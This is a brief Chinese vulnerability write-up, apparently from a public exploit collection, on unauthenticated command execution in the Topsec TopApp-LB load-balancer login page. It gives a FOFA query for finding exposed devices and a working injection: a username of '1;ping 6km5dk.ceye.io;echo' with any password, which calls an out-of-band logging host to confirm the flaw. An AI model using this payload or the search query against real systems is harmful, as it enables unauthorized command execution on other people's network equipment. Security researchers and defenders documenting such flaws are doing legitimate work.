天融信负载均衡TopApp-LB命令执行漏洞.md

449 B / 2021-04-15 12:15:22

    # 天融信负载均衡TopApp-LB命令执行漏洞

## 漏洞描述

天融信负载均衡TopApp-LB系统存在任意命令执行

## 影响版本

天融信负载均衡TopApp-LB

## FOFA

> [!NOTE]
>
> app="天融信-TopApp-LB-负载均衡系统"

## 漏洞复现

登录界面中存在命令执行

账号:**1;ping 6km5dk.ceye.io;echo**

密码:**任意**

![](image/trx-3.png)

成功收到请求

![](image/trx-4.png)